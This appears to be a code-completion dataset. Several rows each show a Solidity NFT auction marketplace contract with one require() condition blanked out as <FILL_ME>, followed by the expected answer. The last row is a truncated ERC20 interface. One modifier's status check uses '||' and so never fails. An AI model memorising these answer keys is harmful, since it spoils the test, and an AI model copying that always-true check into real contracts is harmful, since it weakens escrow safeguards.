// Add math utilities missing in solidity
using Math for uint256;
/* Constructor parameters */
// minBidSize,minAuctionLiveness, feePercentage
address public adminAddress;
// Minimum amount by which a new bid has to exceed previousBid 0.0001 = 1
uint256 public minBidSize = 1;
/* Minimum duration in seconds for which the auction has to be live
* timestamp 1h = 3600s
* default mainnet 10h / testnet 10m
*/
uint256 public minAuctionLiveness = 10 * 60;
// //transfer gas
// uint256 public gasSize = 100000;
// update fee address only owner
address public feeAddress;
// default fee percentage : 2.5%
uint256 public feePercentage = 250;
//total volume
uint256 public totalMarketVolume;
//total Sales
uint256 public totalSales;
//create auction on/off default = true
bool public marketStatus = true;
// Save Users credit balances (to be used when they are outbid)
mapping(address => uint256) public userPriceList;
using Counters for Counters.Counter;
// Number of auctions ever listed
Counters.Counter public totalAuctionCount;
// Number of auctions already sold
Counters.Counter private closedAuctionCount;
enum TokenType { NONE, ERC721, ERC1155 }
enum AuctionStatus { NONE, OPEN, CLOSE, SETTLED, CANCELED }
//enum Categories { NONE, Art, Sports, Gaming, Music, Entertainment, TradingCards, Collectibles }
enum Sort { ASC, DESC, NEW, END, HOT }
struct Auction {
address contractAddress;
uint256 tokenId;
uint256 currentPrice;
uint256 buyNowPrice;
address seller;
address highestBidder;
string auctionTitle;
uint256 expiryDate;
uint256 auctionId;
AuctionType auctionTypes;
}
struct AuctionType {
uint256 category;
AuctionStatus status;
TokenType tokenType;
uint256 quantity;
}
//fee+price
struct previousInfo {
uint256 previousPrice;
}
mapping(uint256 => previousInfo) private previousPriceList;
mapping(uint256 => Auction) public auctions;
//bid
struct Bid {
uint256 bidId;
address bidder;
uint256 price;
uint256 timestamp;
}
mapping (uint256 => Bid[]) private bidList;
// Unique seller address
address[] private uniqSellerList;
struct SellerSale {
address seller;
uint256 price;
uint256 timestamp;
}
mapping (address => SellerSale[]) private sellerSales;
// EVENTS
event AuctionCreated(
uint256 auctionId,
address contractAddress,
uint256 tokenId,
uint256 startingPrice,
address seller,
uint256 expiryDate
);
event NFTApproved(address nftContract);
event AuctionCanceled(uint256 auctionId);
event AuctionSettled(uint256 auctionId, bool sold);
event BidPlaced(uint256 auctionId, uint256 bidPrice);
event BidFailed(uint256 auctionId, uint256 bidPrice);
event UserCredited(address creditAddress, uint256 amount);
event priceBid(uint256 auctionId, uint256 cPrice, uint256 bidPrice);
// MODIFIERS
modifier onlyAdmin() {
}
modifier openAuction(uint256 auctionId) {
}
modifier settleStatusCheck(uint256 auctionId) {
AuctionStatus auctionStatus = auctions[auctionId].auctionTypes.status;
require( auctionStatus != AuctionStatus.SETTLED ||
auctionStatus != AuctionStatus.CANCELED, "Transaction only open or close Auctions");
if (auctionStatus == AuctionStatus.OPEN) {
require(<FILL_ME>)
}
_;
}
modifier nonExpiredAuction(uint256 auctionId) {
}
modifier onlyExpiredAuction(uint256 auctionId) {
}
modifier noBids(uint256 auctionId) {
}
modifier sellerOnly(uint256 auctionId) {
}
modifier marketStatusCheck() {
}
// Update market status
function setMarkStatus(bool _marketStatus) public onlyOwner {
}
// Update only owner
function setFeeAddress(address _feeAddress) public onlyOwner {
}
// Update admin address
function setAdmin(address _adminAddress) public onlyOwner {
}
// // gas update default min 21000
// function setGasSize(uint256 _gasSize) public onlyAdmin {
// gasSize = _gasSize;
// }
// Update minBidSize
function setMinBidSize(uint256 _minBidSize) public onlyAdmin {
}
// Update minAuctionLiveness
function setMinAuctionLiveness(uint256 _minAuctionLiveness) public onlyAdmin {
}
// Update Fee percentages
function setFeePercentage(uint256 _feePercentage) public onlyAdmin {
}
// Calculate fee due for an auction based on its feePrice
function calculateFee(uint256 _cuPrice) private view returns(uint256 fee){
}
/*
* AUCTION MANAGEMENT
* Creates a new auction and transfers the token to the contract to be held in escrow until the end of the auction.
* Requires this contract to be approved for the token to be auctioned.
*/
function createAuction(address _contractAddress, uint256 _tokenId, uint256 _startingPrice, string memory auctionTitle,
uint256 _buyNowPrice, uint256 expiryDate, uint256 _category, TokenType _tokenType,
uint256 _quantity
) public marketStatusCheck() nonReentrant
returns(uint256 auctionId){
}
/**
* Cancels an auction and returns the token to the original owner.
* Requires the caller to be the seller who created the auction, the auction to be open and no bids having been placed on it.
*/
function cancelAuction(uint256 auctionId) public openAuction(auctionId) noBids(auctionId) sellerOnly(auctionId) nonReentrant{
}
/**
* Settles an auction.
* If at least one bid has been placed the token will be transfered to its new owner, the seller will be credited the sale price
* and the contract owner will be credited the fee.
* If no bid has been placed on the token it will just be transfered back to its original owner.
*/
function settleAuction(uint256 auctionId) public settleStatusCheck(auctionId) nonReentrant{
}
//Save sales information
function saveSales(address sellerAddress, uint256 price) private {
}
/**
* Credit user with given amount in ETH
* Credits a user with a given amount that he can later withdraw from the contract.
* Used to refund outbidden buyers and credit sellers / contract owner upon sucessfull sale.
*/
function creditUser(address creditAddress, uint256 amount) private {
}
/**
* Withdraws all credit of the caller
* Transfers all of his credit to the caller and sets the balance to 0
* Fails if caller has no credit.
*/
function withdrawCredit() public nonReentrant{
}
/**
* Places a bid on the selected auction at the selected price
* Requires the provided bid price to exceed the current highest bid by at least the minBidSize.
* Also requires the caller to transfer the exact amount of the chosen bidPrice plus fee, to be held in escrow by the contract
* until the auction is settled or a higher bid is placed.
*/
function placeBid(uint256 auctionId, uint256 bidPrice) public payable openAuction(auctionId) nonExpiredAuction(auctionId) nonReentrant{
}
/**
* Transfer the token(s) belonging to a given auction.
* Supports both ERC721 and ERC1155 tokens
*/
function transferToken(uint256 auctionId, address from, address to) private {
}
//data func auction list
function getOpenAuctions(uint256 category, Sort sort, string memory keyword,
uint256 offset, uint256 limit) public view returns
(Auction[] memory, uint256, uint256) {
}
//bids
function getBids(uint256 auctionId) public view returns(Bid[] memory){
}
function getUserAuctions(address seller) public view returns(Auction[] memory) {
}
//Filter based on the timestamp.
function getSellerSalesList(uint256 timestamp) public view returns(SellerSale[] memory) {
}
/* filter */
function sfilter(Auction[] memory values, uint256 category, string memory keyword) private pure returns (Auction[] memory) {
}
function cfilter(Auction[] memory values, uint256 category) private pure returns (Auction[] memory) {
}
/* sort */
function sortMap(Auction[] memory arr, uint256 limit, Sort sort) private view returns (Auction[] memory) {
}
}
| auctions[auctionId].expiryDate<block.timestamp,"Transaction only valid for expired Auctions" | 325,385 | auctions[auctionId].expiryDate<block.timestamp |
"Transaction not valid for expired Auctions" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.5 <0.9.0;
pragma abicoder v2;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "./ERC1155Receiver.sol";
/**
* @title NFT Auction Market
* Sellers can choose a minimum, starting bid, an expiry time when the auction ends
* Before creating an auction the seller has to approve this contract for the respective token,
* which will be held in contract until the auction ends.
* bid price = price + fee
* which he will be refunded in case he gets outbid.
* After the specified expiry date of an auction anyone can trigger the settlement
* Not only will we transfer tokens to new owners, but we will also transfer sales money to sellers.
* All comissions will be credited to the owner / deployer of the marketplace contract.
*/
contract NAMarket is Ownable, ReentrancyGuard, ERC1155Receiver {
// Protect against overflow
using SafeMath for uint256;
// Add math utilities missing in solidity
using Math for uint256;
/* Constructor parameters */
// minBidSize,minAuctionLiveness, feePercentage
address public adminAddress;
// Minimum amount by which a new bid has to exceed previousBid 0.0001 = 1
uint256 public minBidSize = 1;
/* Minimum duration in seconds for which the auction has to be live
* timestamp 1h = 3600s
* default mainnet 10h / testnet 10m
*/
uint256 public minAuctionLiveness = 10 * 60;
// //transfer gas
// uint256 public gasSize = 100000;
// update fee address only owner
address public feeAddress;
// default fee percentage : 2.5%
uint256 public feePercentage = 250;
//total volume
uint256 public totalMarketVolume;
//total Sales
uint256 public totalSales;
//create auction on/off default = true
bool public marketStatus = true;
// Save Users credit balances (to be used when they are outbid)
mapping(address => uint256) public userPriceList;
using Counters for Counters.Counter;
// Number of auctions ever listed
Counters.Counter public totalAuctionCount;
// Number of auctions already sold
Counters.Counter private closedAuctionCount;
enum TokenType { NONE, ERC721, ERC1155 }
enum AuctionStatus { NONE, OPEN, CLOSE, SETTLED, CANCELED }
//enum Categories { NONE, Art, Sports, Gaming, Music, Entertainment, TradingCards, Collectibles }
enum Sort { ASC, DESC, NEW, END, HOT }
struct Auction {
address contractAddress;
uint256 tokenId;
uint256 currentPrice;
uint256 buyNowPrice;
address seller;
address highestBidder;
string auctionTitle;
uint256 expiryDate;
uint256 auctionId;
AuctionType auctionTypes;
}
struct AuctionType {
uint256 category;
AuctionStatus status;
TokenType tokenType;
uint256 quantity;
}
//fee+price
struct previousInfo {
uint256 previousPrice;
}
mapping(uint256 => previousInfo) private previousPriceList;
mapping(uint256 => Auction) public auctions;
//bid
struct Bid {
uint256 bidId;
address bidder;
uint256 price;
uint256 timestamp;
}
mapping (uint256 => Bid[]) private bidList;
// Unique seller address
address[] private uniqSellerList;
struct SellerSale {
address seller;
uint256 price;
uint256 timestamp;
}
mapping (address => SellerSale[]) private sellerSales;
// EVENTS
event AuctionCreated(
uint256 auctionId,
address contractAddress,
uint256 tokenId,
uint256 startingPrice,
address seller,
uint256 expiryDate
);
event NFTApproved(address nftContract);
event AuctionCanceled(uint256 auctionId);
event AuctionSettled(uint256 auctionId, bool sold);
event BidPlaced(uint256 auctionId, uint256 bidPrice);
event BidFailed(uint256 auctionId, uint256 bidPrice);
event UserCredited(address creditAddress, uint256 amount);
event priceBid(uint256 auctionId, uint256 cPrice, uint256 bidPrice);
// MODIFIERS
modifier onlyAdmin() {
}
modifier openAuction(uint256 auctionId) {
}
modifier settleStatusCheck(uint256 auctionId) {
}
modifier nonExpiredAuction(uint256 auctionId) {
require(<FILL_ME>)
_;
}
modifier onlyExpiredAuction(uint256 auctionId) {
}
modifier noBids(uint256 auctionId) {
}
modifier sellerOnly(uint256 auctionId) {
}
modifier marketStatusCheck() {
}
// Update market status
function setMarkStatus(bool _marketStatus) public onlyOwner {
}
// Update only owner
function setFeeAddress(address _feeAddress) public onlyOwner {
}
// Update admin address
function setAdmin(address _adminAddress) public onlyOwner {
}
// // gas update default min 21000
// function setGasSize(uint256 _gasSize) public onlyAdmin {
// gasSize = _gasSize;
// }
// Update minBidSize
function setMinBidSize(uint256 _minBidSize) public onlyAdmin {
}
// Update minAuctionLiveness
function setMinAuctionLiveness(uint256 _minAuctionLiveness) public onlyAdmin {
}
// Update Fee percentages
function setFeePercentage(uint256 _feePercentage) public onlyAdmin {
}
// Calculate fee due for an auction based on its feePrice
function calculateFee(uint256 _cuPrice) private view returns(uint256 fee){
}
/*
* AUCTION MANAGEMENT
* Creates a new auction and transfers the token to the contract to be held in escrow until the end of the auction.
* Requires this contract to be approved for the token to be auctioned.
*/
function createAuction(address _contractAddress, uint256 _tokenId, uint256 _startingPrice, string memory auctionTitle,
uint256 _buyNowPrice, uint256 expiryDate, uint256 _category, TokenType _tokenType,
uint256 _quantity
) public marketStatusCheck() nonReentrant
returns(uint256 auctionId){
}
/**
* Cancels an auction and returns the token to the original owner.
* Requires the caller to be the seller who created the auction, the auction to be open and no bids having been placed on it.
*/
function cancelAuction(uint256 auctionId) public openAuction(auctionId) noBids(auctionId) sellerOnly(auctionId) nonReentrant{
}
/**
* Settles an auction.
* If at least one bid has been placed the token will be transfered to its new owner, the seller will be credited the sale price
* and the contract owner will be credited the fee.
* If no bid has been placed on the token it will just be transfered back to its original owner.
*/
function settleAuction(uint256 auctionId) public settleStatusCheck(auctionId) nonReentrant{
}
//Save sales information
function saveSales(address sellerAddress, uint256 price) private {
}
/**
* Credit user with given amount in ETH
* Credits a user with a given amount that he can later withdraw from the contract.
* Used to refund outbidden buyers and credit sellers / contract owner upon sucessfull sale.
*/
function creditUser(address creditAddress, uint256 amount) private {
}
/**
* Withdraws all credit of the caller
* Transfers all of his credit to the caller and sets the balance to 0
* Fails if caller has no credit.
*/
function withdrawCredit() public nonReentrant{
}
/**
* Places a bid on the selected auction at the selected price
* Requires the provided bid price to exceed the current highest bid by at least the minBidSize.
* Also requires the caller to transfer the exact amount of the chosen bidPrice plus fee, to be held in escrow by the contract
* until the auction is settled or a higher bid is placed.
*/
function placeBid(uint256 auctionId, uint256 bidPrice) public payable openAuction(auctionId) nonExpiredAuction(auctionId) nonReentrant{
}
/**
* Transfer the token(s) belonging to a given auction.
* Supports both ERC721 and ERC1155 tokens
*/
function transferToken(uint256 auctionId, address from, address to) private {
}
//data func auction list
function getOpenAuctions(uint256 category, Sort sort, string memory keyword,
uint256 offset, uint256 limit) public view returns
(Auction[] memory, uint256, uint256) {
}
//bids
function getBids(uint256 auctionId) public view returns(Bid[] memory){
}
function getUserAuctions(address seller) public view returns(Auction[] memory) {
}
//Filter based on the timestamp.
function getSellerSalesList(uint256 timestamp) public view returns(SellerSale[] memory) {
}
/* filter */
function sfilter(Auction[] memory values, uint256 category, string memory keyword) private pure returns (Auction[] memory) {
}
function cfilter(Auction[] memory values, uint256 category) private pure returns (Auction[] memory) {
}
/* sort */
function sortMap(Auction[] memory arr, uint256 limit, Sort sort) private view returns (Auction[] memory) {
}
}
| auctions[auctionId].expiryDate>=block.timestamp,"Transaction not valid for expired Auctions" | 325,385 | auctions[auctionId].expiryDate>=block.timestamp |
"Auction has bids already" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.5 <0.9.0;
pragma abicoder v2;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "./ERC1155Receiver.sol";
/**
* @title NFT Auction Market
* Sellers can choose a minimum, starting bid, an expiry time when the auction ends
* Before creating an auction the seller has to approve this contract for the respective token,
* which will be held in contract until the auction ends.
* bid price = price + fee
* which he will be refunded in case he gets outbid.
* After the specified expiry date of an auction anyone can trigger the settlement
* Not only will we transfer tokens to new owners, but we will also transfer sales money to sellers.
* All comissions will be credited to the owner / deployer of the marketplace contract.
*/
contract NAMarket is Ownable, ReentrancyGuard, ERC1155Receiver {
// Protect against overflow
using SafeMath for uint256;
// Add math utilities missing in solidity
using Math for uint256;
/* Constructor parameters */
// minBidSize,minAuctionLiveness, feePercentage
address public adminAddress;
// Minimum amount by which a new bid has to exceed previousBid 0.0001 = 1
uint256 public minBidSize = 1;
/* Minimum duration in seconds for which the auction has to be live
* timestamp 1h = 3600s
* default mainnet 10h / testnet 10m
*/
uint256 public minAuctionLiveness = 10 * 60;
// //transfer gas
// uint256 public gasSize = 100000;
// update fee address only owner
address public feeAddress;
// default fee percentage : 2.5%
uint256 public feePercentage = 250;
//total volume
uint256 public totalMarketVolume;
//total Sales
uint256 public totalSales;
//create auction on/off default = true
bool public marketStatus = true;
// Save Users credit balances (to be used when they are outbid)
mapping(address => uint256) public userPriceList;
using Counters for Counters.Counter;
// Number of auctions ever listed
Counters.Counter public totalAuctionCount;
// Number of auctions already sold
Counters.Counter private closedAuctionCount;
enum TokenType { NONE, ERC721, ERC1155 }
enum AuctionStatus { NONE, OPEN, CLOSE, SETTLED, CANCELED }
//enum Categories { NONE, Art, Sports, Gaming, Music, Entertainment, TradingCards, Collectibles }
enum Sort { ASC, DESC, NEW, END, HOT }
struct Auction {
address contractAddress;
uint256 tokenId;
uint256 currentPrice;
uint256 buyNowPrice;
address seller;
address highestBidder;
string auctionTitle;
uint256 expiryDate;
uint256 auctionId;
AuctionType auctionTypes;
}
struct AuctionType {
uint256 category;
AuctionStatus status;
TokenType tokenType;
uint256 quantity;
}
//fee+price
struct previousInfo {
uint256 previousPrice;
}
mapping(uint256 => previousInfo) private previousPriceList;
mapping(uint256 => Auction) public auctions;
//bid
struct Bid {
uint256 bidId;
address bidder;
uint256 price;
uint256 timestamp;
}
mapping (uint256 => Bid[]) private bidList;
// Unique seller address
address[] private uniqSellerList;
struct SellerSale {
address seller;
uint256 price;
uint256 timestamp;
}
mapping (address => SellerSale[]) private sellerSales;
// EVENTS
event AuctionCreated(
uint256 auctionId,
address contractAddress,
uint256 tokenId,
uint256 startingPrice,
address seller,
uint256 expiryDate
);
event NFTApproved(address nftContract);
event AuctionCanceled(uint256 auctionId);
event AuctionSettled(uint256 auctionId, bool sold);
event BidPlaced(uint256 auctionId, uint256 bidPrice);
event BidFailed(uint256 auctionId, uint256 bidPrice);
event UserCredited(address creditAddress, uint256 amount);
event priceBid(uint256 auctionId, uint256 cPrice, uint256 bidPrice);
// MODIFIERS
modifier onlyAdmin() {
}
modifier openAuction(uint256 auctionId) {
}
modifier settleStatusCheck(uint256 auctionId) {
}
modifier nonExpiredAuction(uint256 auctionId) {
}
modifier onlyExpiredAuction(uint256 auctionId) {
}
modifier noBids(uint256 auctionId) {
require(<FILL_ME>)
_;
}
modifier sellerOnly(uint256 auctionId) {
}
modifier marketStatusCheck() {
}
// Update market status
function setMarkStatus(bool _marketStatus) public onlyOwner {
}
// Update only owner
function setFeeAddress(address _feeAddress) public onlyOwner {
}
// Update admin address
function setAdmin(address _adminAddress) public onlyOwner {
}
// // gas update default min 21000
// function setGasSize(uint256 _gasSize) public onlyAdmin {
// gasSize = _gasSize;
// }
// Update minBidSize
function setMinBidSize(uint256 _minBidSize) public onlyAdmin {
}
// Update minAuctionLiveness
function setMinAuctionLiveness(uint256 _minAuctionLiveness) public onlyAdmin {
}
// Update Fee percentages
function setFeePercentage(uint256 _feePercentage) public onlyAdmin {
}
// Calculate fee due for an auction based on its feePrice
function calculateFee(uint256 _cuPrice) private view returns(uint256 fee){
}
/*
* AUCTION MANAGEMENT
* Creates a new auction and transfers the token to the contract to be held in escrow until the end of the auction.
* Requires this contract to be approved for the token to be auctioned.
*/
function createAuction(address _contractAddress, uint256 _tokenId, uint256 _startingPrice, string memory auctionTitle,
uint256 _buyNowPrice, uint256 expiryDate, uint256 _category, TokenType _tokenType,
uint256 _quantity
) public marketStatusCheck() nonReentrant
returns(uint256 auctionId){
}
/**
* Cancels an auction and returns the token to the original owner.
* Requires the caller to be the seller who created the auction, the auction to be open and no bids having been placed on it.
*/
function cancelAuction(uint256 auctionId) public openAuction(auctionId) noBids(auctionId) sellerOnly(auctionId) nonReentrant{
}
/**
* Settles an auction.
* If at least one bid has been placed the token will be transfered to its new owner, the seller will be credited the sale price
* and the contract owner will be credited the fee.
* If no bid has been placed on the token it will just be transfered back to its original owner.
*/
function settleAuction(uint256 auctionId) public settleStatusCheck(auctionId) nonReentrant{
}
//Save sales information
function saveSales(address sellerAddress, uint256 price) private {
}
/**
* Credit user with given amount in ETH
* Credits a user with a given amount that he can later withdraw from the contract.
* Used to refund outbidden buyers and credit sellers / contract owner upon sucessfull sale.
*/
function creditUser(address creditAddress, uint256 amount) private {
}
/**
* Withdraws all credit of the caller
* Transfers all of his credit to the caller and sets the balance to 0
* Fails if caller has no credit.
*/
function withdrawCredit() public nonReentrant{
}
/**
* Places a bid on the selected auction at the selected price
* Requires the provided bid price to exceed the current highest bid by at least the minBidSize.
* Also requires the caller to transfer the exact amount of the chosen bidPrice plus fee, to be held in escrow by the contract
* until the auction is settled or a higher bid is placed.
*/
function placeBid(uint256 auctionId, uint256 bidPrice) public payable openAuction(auctionId) nonExpiredAuction(auctionId) nonReentrant{
}
/**
* Transfer the token(s) belonging to a given auction.
* Supports both ERC721 and ERC1155 tokens
*/
function transferToken(uint256 auctionId, address from, address to) private {
}
//data func auction list
function getOpenAuctions(uint256 category, Sort sort, string memory keyword,
uint256 offset, uint256 limit) public view returns
(Auction[] memory, uint256, uint256) {
}
//bids
function getBids(uint256 auctionId) public view returns(Bid[] memory){
}
function getUserAuctions(address seller) public view returns(Auction[] memory) {
}
//Filter based on the timestamp.
function getSellerSalesList(uint256 timestamp) public view returns(SellerSale[] memory) {
}
/* filter */
function sfilter(Auction[] memory values, uint256 category, string memory keyword) private pure returns (Auction[] memory) {
}
function cfilter(Auction[] memory values, uint256 category) private pure returns (Auction[] memory) {
}
/* sort */
function sortMap(Auction[] memory arr, uint256 limit, Sort sort) private view returns (Auction[] memory) {
}
}
| auctions[auctionId].highestBidder==address(0),"Auction has bids already" | 325,385 | auctions[auctionId].highestBidder==address(0) |
"Expiry date is not far enough in the future" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.5 <0.9.0;
pragma abicoder v2;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "./ERC1155Receiver.sol";
/**
* @title NFT Auction Market
* Sellers can choose a minimum, starting bid, an expiry time when the auction ends
* Before creating an auction the seller has to approve this contract for the respective token,
* which will be held in contract until the auction ends.
* bid price = price + fee
* which he will be refunded in case he gets outbid.
* After the specified expiry date of an auction anyone can trigger the settlement
* Not only will we transfer tokens to new owners, but we will also transfer sales money to sellers.
* All comissions will be credited to the owner / deployer of the marketplace contract.
*/
contract NAMarket is Ownable, ReentrancyGuard, ERC1155Receiver {
// Protect against overflow
using SafeMath for uint256;
// Add math utilities missing in solidity
using Math for uint256;
/* Constructor parameters */
// minBidSize,minAuctionLiveness, feePercentage
address public adminAddress;
// Minimum amount by which a new bid has to exceed previousBid 0.0001 = 1
uint256 public minBidSize = 1;
/* Minimum duration in seconds for which the auction has to be live
* timestamp 1h = 3600s
* default mainnet 10h / testnet 10m
*/
uint256 public minAuctionLiveness = 10 * 60;
// //transfer gas
// uint256 public gasSize = 100000;
// update fee address only owner
address public feeAddress;
// default fee percentage : 2.5%
uint256 public feePercentage = 250;
//total volume
uint256 public totalMarketVolume;
//total Sales
uint256 public totalSales;
//create auction on/off default = true
bool public marketStatus = true;
// Save Users credit balances (to be used when they are outbid)
mapping(address => uint256) public userPriceList;
using Counters for Counters.Counter;
// Number of auctions ever listed
Counters.Counter public totalAuctionCount;
// Number of auctions already sold
Counters.Counter private closedAuctionCount;
enum TokenType { NONE, ERC721, ERC1155 }
enum AuctionStatus { NONE, OPEN, CLOSE, SETTLED, CANCELED }
//enum Categories { NONE, Art, Sports, Gaming, Music, Entertainment, TradingCards, Collectibles }
enum Sort { ASC, DESC, NEW, END, HOT }
struct Auction {
address contractAddress;
uint256 tokenId;
uint256 currentPrice;
uint256 buyNowPrice;
address seller;
address highestBidder;
string auctionTitle;
uint256 expiryDate;
uint256 auctionId;
AuctionType auctionTypes;
}
struct AuctionType {
uint256 category;
AuctionStatus status;
TokenType tokenType;
uint256 quantity;
}
//fee+price
struct previousInfo {
uint256 previousPrice;
}
mapping(uint256 => previousInfo) private previousPriceList;
mapping(uint256 => Auction) public auctions;
//bid
struct Bid {
uint256 bidId;
address bidder;
uint256 price;
uint256 timestamp;
}
mapping (uint256 => Bid[]) private bidList;
// Unique seller address
address[] private uniqSellerList;
struct SellerSale {
address seller;
uint256 price;
uint256 timestamp;
}
mapping (address => SellerSale[]) private sellerSales;
// EVENTS
event AuctionCreated(
uint256 auctionId,
address contractAddress,
uint256 tokenId,
uint256 startingPrice,
address seller,
uint256 expiryDate
);
event NFTApproved(address nftContract);
event AuctionCanceled(uint256 auctionId);
event AuctionSettled(uint256 auctionId, bool sold);
event BidPlaced(uint256 auctionId, uint256 bidPrice);
event BidFailed(uint256 auctionId, uint256 bidPrice);
event UserCredited(address creditAddress, uint256 amount);
event priceBid(uint256 auctionId, uint256 cPrice, uint256 bidPrice);
// MODIFIERS
modifier onlyAdmin() {
}
modifier openAuction(uint256 auctionId) {
}
modifier settleStatusCheck(uint256 auctionId) {
}
modifier nonExpiredAuction(uint256 auctionId) {
}
modifier onlyExpiredAuction(uint256 auctionId) {
}
modifier noBids(uint256 auctionId) {
}
modifier sellerOnly(uint256 auctionId) {
}
modifier marketStatusCheck() {
}
// Update market status
function setMarkStatus(bool _marketStatus) public onlyOwner {
}
// Update only owner
function setFeeAddress(address _feeAddress) public onlyOwner {
}
// Update admin address
function setAdmin(address _adminAddress) public onlyOwner {
}
// // gas update default min 21000
// function setGasSize(uint256 _gasSize) public onlyAdmin {
// gasSize = _gasSize;
// }
// Update minBidSize
function setMinBidSize(uint256 _minBidSize) public onlyAdmin {
}
// Update minAuctionLiveness
function setMinAuctionLiveness(uint256 _minAuctionLiveness) public onlyAdmin {
}
// Update Fee percentages
function setFeePercentage(uint256 _feePercentage) public onlyAdmin {
}
// Calculate fee due for an auction based on its feePrice
function calculateFee(uint256 _cuPrice) private view returns(uint256 fee){
}
/*
* AUCTION MANAGEMENT
* Creates a new auction and transfers the token to the contract to be held in escrow until the end of the auction.
* Requires this contract to be approved for the token to be auctioned.
*/
function createAuction(address _contractAddress, uint256 _tokenId, uint256 _startingPrice, string memory auctionTitle,
uint256 _buyNowPrice, uint256 expiryDate, uint256 _category, TokenType _tokenType,
uint256 _quantity
) public marketStatusCheck() nonReentrant
returns(uint256 auctionId){
require(<FILL_ME>)
require(_tokenType != TokenType.NONE, "Invalid token type provided");
uint256 quantity = 1;
if(_tokenType == TokenType.ERC1155){
quantity = _quantity;
}
// Generate Auction Id
totalAuctionCount.increment();
auctionId = totalAuctionCount.current();
// Register new Auction
auctions[auctionId] = Auction(_contractAddress, _tokenId, _startingPrice, _buyNowPrice, msg.sender,
address(0), auctionTitle, expiryDate, auctionId,
AuctionType(_category,AuctionStatus.OPEN, _tokenType, quantity));
// Transfer Token
transferToken(auctionId, msg.sender, address(this));
emit AuctionCreated(auctionId, _contractAddress, _tokenId, _startingPrice, msg.sender, expiryDate);
}
/**
* Cancels an auction and returns the token to the original owner.
* Requires the caller to be the seller who created the auction, the auction to be open and no bids having been placed on it.
*/
function cancelAuction(uint256 auctionId) public openAuction(auctionId) noBids(auctionId) sellerOnly(auctionId) nonReentrant{
}
/**
* Settles an auction.
* If at least one bid has been placed the token will be transfered to its new owner, the seller will be credited the sale price
* and the contract owner will be credited the fee.
* If no bid has been placed on the token it will just be transfered back to its original owner.
*/
function settleAuction(uint256 auctionId) public settleStatusCheck(auctionId) nonReentrant{
}
//Save sales information
function saveSales(address sellerAddress, uint256 price) private {
}
/**
* Credit user with given amount in ETH
* Credits a user with a given amount that he can later withdraw from the contract.
* Used to refund outbidden buyers and credit sellers / contract owner upon sucessfull sale.
*/
function creditUser(address creditAddress, uint256 amount) private {
}
/**
* Withdraws all credit of the caller
* Transfers all of his credit to the caller and sets the balance to 0
* Fails if caller has no credit.
*/
function withdrawCredit() public nonReentrant{
}
/**
* Places a bid on the selected auction at the selected price
* Requires the provided bid price to exceed the current highest bid by at least the minBidSize.
* Also requires the caller to transfer the exact amount of the chosen bidPrice plus fee, to be held in escrow by the contract
* until the auction is settled or a higher bid is placed.
*/
function placeBid(uint256 auctionId, uint256 bidPrice) public payable openAuction(auctionId) nonExpiredAuction(auctionId) nonReentrant{
}
/**
* Transfer the token(s) belonging to a given auction.
* Supports both ERC721 and ERC1155 tokens
*/
function transferToken(uint256 auctionId, address from, address to) private {
}
//data func auction list
function getOpenAuctions(uint256 category, Sort sort, string memory keyword,
uint256 offset, uint256 limit) public view returns
(Auction[] memory, uint256, uint256) {
}
//bids
function getBids(uint256 auctionId) public view returns(Bid[] memory){
}
function getUserAuctions(address seller) public view returns(Auction[] memory) {
}
//Filter based on the timestamp.
function getSellerSalesList(uint256 timestamp) public view returns(SellerSale[] memory) {
}
/* filter */
function sfilter(Auction[] memory values, uint256 category, string memory keyword) private pure returns (Auction[] memory) {
}
function cfilter(Auction[] memory values, uint256 category) private pure returns (Auction[] memory) {
}
/* sort */
function sortMap(Auction[] memory arr, uint256 limit, Sort sort) private view returns (Auction[] memory) {
}
}
| expiryDate.sub(minAuctionLiveness)>block.timestamp,"Expiry date is not far enough in the future" | 325,385 | expiryDate.sub(minAuctionLiveness)>block.timestamp |
null | // Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.21;
contract MarianaKeyInterface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
